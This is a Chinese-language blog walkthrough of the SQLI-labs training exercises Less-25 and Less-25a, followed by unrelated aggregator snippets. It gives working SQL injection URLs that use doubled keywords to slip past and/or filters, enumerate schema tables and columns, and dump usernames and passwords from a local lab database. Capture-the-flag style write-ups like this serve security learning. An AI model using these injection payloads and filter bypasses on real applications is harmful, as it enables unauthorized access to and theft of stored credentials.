SQLI-labs-第二十五关和第二十五a关

news2024/9/22 19:30:46

目录

第二十五关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的数据

第二十五a关

1、判断注入点

2、判断数据库


第二十五关

知识点:绕过and、or过滤

思路:

通过分析源码和页面,我们可以知道对and和or 进行了过滤,我们需要绕过这些过滤,常见的绕过方式有大小写,双写,编码等

1、判断注入点

首先,我们输入正常的数据,看看回显

接着加入单引号

http://127.0.0.1:3306/Less-25/?id=1'

数据库语句报错,说明存在闭合问题,我们加入注释符 

http://127.0.0.1:3306/Less-25/?id=1' --+

数据正常回显,说明这里的闭合方向正确,存在单引号的闭合问题

这里可以看到输入and、or被过滤掉了

尝试一下大小写混合,发现也是不行

这里因为源码对大小写进行忽略

/i的作用就是忽略大小写

我们尝试使用双写绕过

http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+

http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+

说明双写可以绕过

判断字段数

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+

说明当前的表的字段数有三个

判断数据回显位置

2、判断数据库

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+

3、判断表名

使用group_concat()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

4、判断字段名

以users表为例

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security'  anandd table_name='users'--+

5、获取数据库的数据

使用concat_ws()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+

通过修改limit的值可以获取全部数据


第二十五a关

知识点:绕过and、or过滤

思路:

通过分析源码,可以知道跟25关一样,过滤了and、or ,且不区分大小写,所以用双写绕过,而且没有显示报错信息

1、判断注入点

首先,我们输入正常的数据,看看回显

http://127.0.0.1:3306/Less-25a/?id=1

加入单引号’

http://127.0.0.1:3306/Less-25a/?id=1'

报错了,但没有显示具体的报错原因,加上注入符 --+

http://127.0.0.1:3306/Less-25a/?id=1' --+

这里还是报错,以为是闭合方式不对,把 "  ') ") 都试了一遍,还是不对,结果看源码,才发现是数值型注入,忽略还有这个类型,把自己给蠢笑了,哈哈哈

http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+

这里发现and、or都被过滤,跟上面的思路一样,尝试大小写,双写,结果发现双写可以绕过

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+

将1=1,改成1=2

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+

数据没有回显,但没有报错,这也说明当前是数值型的注入

判断字段数

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+

说明当前表的字段有3个

判断回显位置

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+

或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+

2、判断数据库

http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+

接下来的步骤就跟上面的差不多了,可以才参考上面的


这篇文章就先写到这里了,哪里不懂的或者不好的,欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1702093.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

n7. 图

1.定义 图的每个结构之间有着某种关系。 六度空间理论等; 1.1引子: 最短路径问题 1.2什么是图 表示一种多对多的关系 线性关系表示的是一对一的关系,树表示的是一对多的关系。其实线性表和树其实都可以认为是图的一种特殊的情况。包含&am…

【No More Room in Hell】地狱已满服务器一键开服多人联机教程

1、购买后登录服务器 进入控制面板后会出现正在安装的界面,安装大约5分钟(如长时间处于安装中请联系我们的客服人员) 2、连接游戏 2.1、安装完成后复制开机下方的IP地址 2.2、打开Steam点击左上角的查看➡服务器 点击收藏➡右下角号 粘贴地址…

重构与优化-前言

关注公众号畅读:IT技术馆 Java代码重构是优化现有代码结构、提升代码可读性、可维护性和性能的过程,而不会改变其外在行为。这包括命名规范、消除重复代码、改进设计模式的使用、优化数据结构和算法等。下面是一些常见的Java代码重构技巧及示例: 1. 重命名(Rename) 目的…

flutter 当Scaffold 不使用appBar 时,切换主题,状态栏图标 明暗色 不自动变化,导致与底色相同

一、问题 下图中实际状态栏并没有隐藏。 为了整体效果页面采用了上下渐变拼接色,并且没有加appBar。 这时候会出现状态栏图标并没有根据底色 进行反差显示。 就目前这个问题,并没有找到什么很好的办法。其原因 就是appBar 没有设置底色。 二、解决方法…

系统与软件工程性能测试方法标准

性能测试的种类包含以下几种: 1.负载测试 load testing 用户评估系统与软件在预期变化负载下的性能表现,负载通常位于低估,典型,高峰使用的预期条件之间。 注:性能效率测试的一种。 建立模型 导出测试覆盖项 对于…

香橙派AIpro开发板开箱体验,国产AI计算力实现可控

一、引言 1. 嵌入式AI技术背景与发展趋势 近年来,随着人工智能技术的飞速发展,嵌入式AI技术在各个领域得到了广泛应用。作为智能设备的核心部件,嵌入式AI开发板为开发者提供了高效、便捷的开发环境,推动了智能设备的不断创新和进步…

慧算账、百望云、税友股份“走进”AI深水区

配图来自Canva可画 自金税四期正式施行以来,税务领域开始以数字化为核心,“以数治税”成为财税市场发展的主要方向,财税数字化市场规模不断提升。 据共研产业咨询数据,2022年,我国财税数字化市场规模为436.2亿元&…

上海市港股通交易佣金手续费最低是多少?万0.8?恒生港股通ETF今起发行!港股通的价值如何?

港股通交易佣金概述 港股通的交易佣金可能会因证券公司和投资者的不同而有所差异。 上海市港股通交易佣金最低可以万分之零点八(0.008%),但这需要投资者与证券公司客户经理了解,进行沟通和申请。 一般来说,证券公司…

Autoware 软件功能(二)

Tip: 如果你在进行深度学习、自动驾驶、模型推理、微调或AI绘画出图等任务,并且需要GPU资源,可以考虑使用Compshare的GPU算力云平台。他们提供高性价比的4090 GPU,按时收费每卡2.6元,月卡只需要1.7元每小时,并附带200G…

数据结构第二篇【关于java线性表(顺序表)的基本操作】

【关于java线性表(顺序表)的基本操作】 线性表是什么?🐵🐒🦍顺序表的定义🦧🐶🐵创建顺序表新增元素,默认在数组最后新增在 pos 位置新增元素判定是否包含某个元素查找某个…

爬虫学习--15.进程与线程(2)

线程锁 当多个线程几乎同时修改某一个共享数据的时候,需要进行同步控制 某个线程要更改共享数据时,先将其锁定,此时资源的状态为"锁定",其他线程不能改变,只到该线程释放资源,将资源的状态变成"非锁定…

PXI总线测试模块-6939 矢量信号发生器

频率范围:250kHz~6GHz 6939 矢量信号发生器 6939矢量信号发生器提供频率范围250kHz~6GHz的多制式信号,单边带相位噪声优于-120dBc/Hz10kHz(载波1GHz)、EVM优于1.0%,能够实现高纯连续波输出、模拟调制信号输…

贝叶斯:共轭先验(conjugacy)

共轭先验与共轭分布 在贝叶斯统计中,如果后验分布与先验分布属于同类,则先验分布与后验分布被称为共轭分布,而先验分布被称为似然函数的共轭先验。(要求后验分布与先验分布是同类分布,不要求似然函数分布相同。&#…

Linux系统编程——基础IO与文件描述符(管理已打开的内存文件)

目录 一,文件预备 二,C语言文件操作函数 2.1 默认打开的三个流 2.2 写文件 2.3 读文件 2.4 再次理解当前路径 三,Linux操作文件系统调用 3.1 open()和close() 3.1.1 第一个参数 3.1.2 *第二个参数 3.1.3 第三个参数 3.2 write(…

深度解析 Spring 源码:探秘 CGLIB 代理的奥秘

文章目录 一、CGLIB 代理简介1.1 CGLIB 代理的基本原理和特点1.2 分析 CGLIB 如何通过字节码技术创建代理类 二、深入分析 CglibAopProxy 类的结构2.1 CglibAopProxy 类结构2.2 CglibAopProxy 类源码 三、CGLIB 代理对象的创建过程3.1 配置 Enhancer 生成代理对象3.2 探讨如何通…

如何解包 Python 恶意可执行文件

使用 Python 编写的程序通常以源码的形式发布,也可以将所有依赖都打包到一个可执行文件中。那么如何解包 Python 恶意可执行文件呢? 打包 打包与加壳不同,打包 Python 程序的目的是创建一个可以在操作系统上独立运行的可执行文件。使用例如 …

光伏开发是用什么工具提高效率?

随着全球对可再生能源的日益重视,光伏产业作为其中的佼佼者,已经取得了长足的发展。然而,如何提高光伏开发的效率,降低成本,成为了业内关注的焦点。本文将探讨光伏开发过程中所使用的工具,以及这些工具如何…

C#多维数组不同读取方式的性能差异

背景 近来在优化一个图像显示程序,图像数据存储于一个3维数组data[x,y,z]中,三维数组为一张张图片数据的叠加而来,其中x为图片的张数,y为图片行,Z为图片的列,也就是说这个三维数组存储的为一系列图片的数据…

监管端..

文章目录 1. 登录流程2. 日志AOP 1. 登录流程 使用账号(手机号)、密码、验证码。登录就是获取token的,输入的账号密码用RSA加密(非对称) 首先输入账号密码,在发送手机验证码时候先校验账号密码有没有输入…

Python筑基之旅专栏(导航)

目录 一、Python筑基之旅专栏博文清单及链接 二、推荐阅读 一、Python筑基之旅专栏博文清单及链接 01、溯源及发展 02、变量和数据类型 03、搭建Python开发环境及库 04、两个重要函数/列表/元组 05、字符串(一) 06、字符串(二) 07、字符串(三) 08、字典 09、集合 10…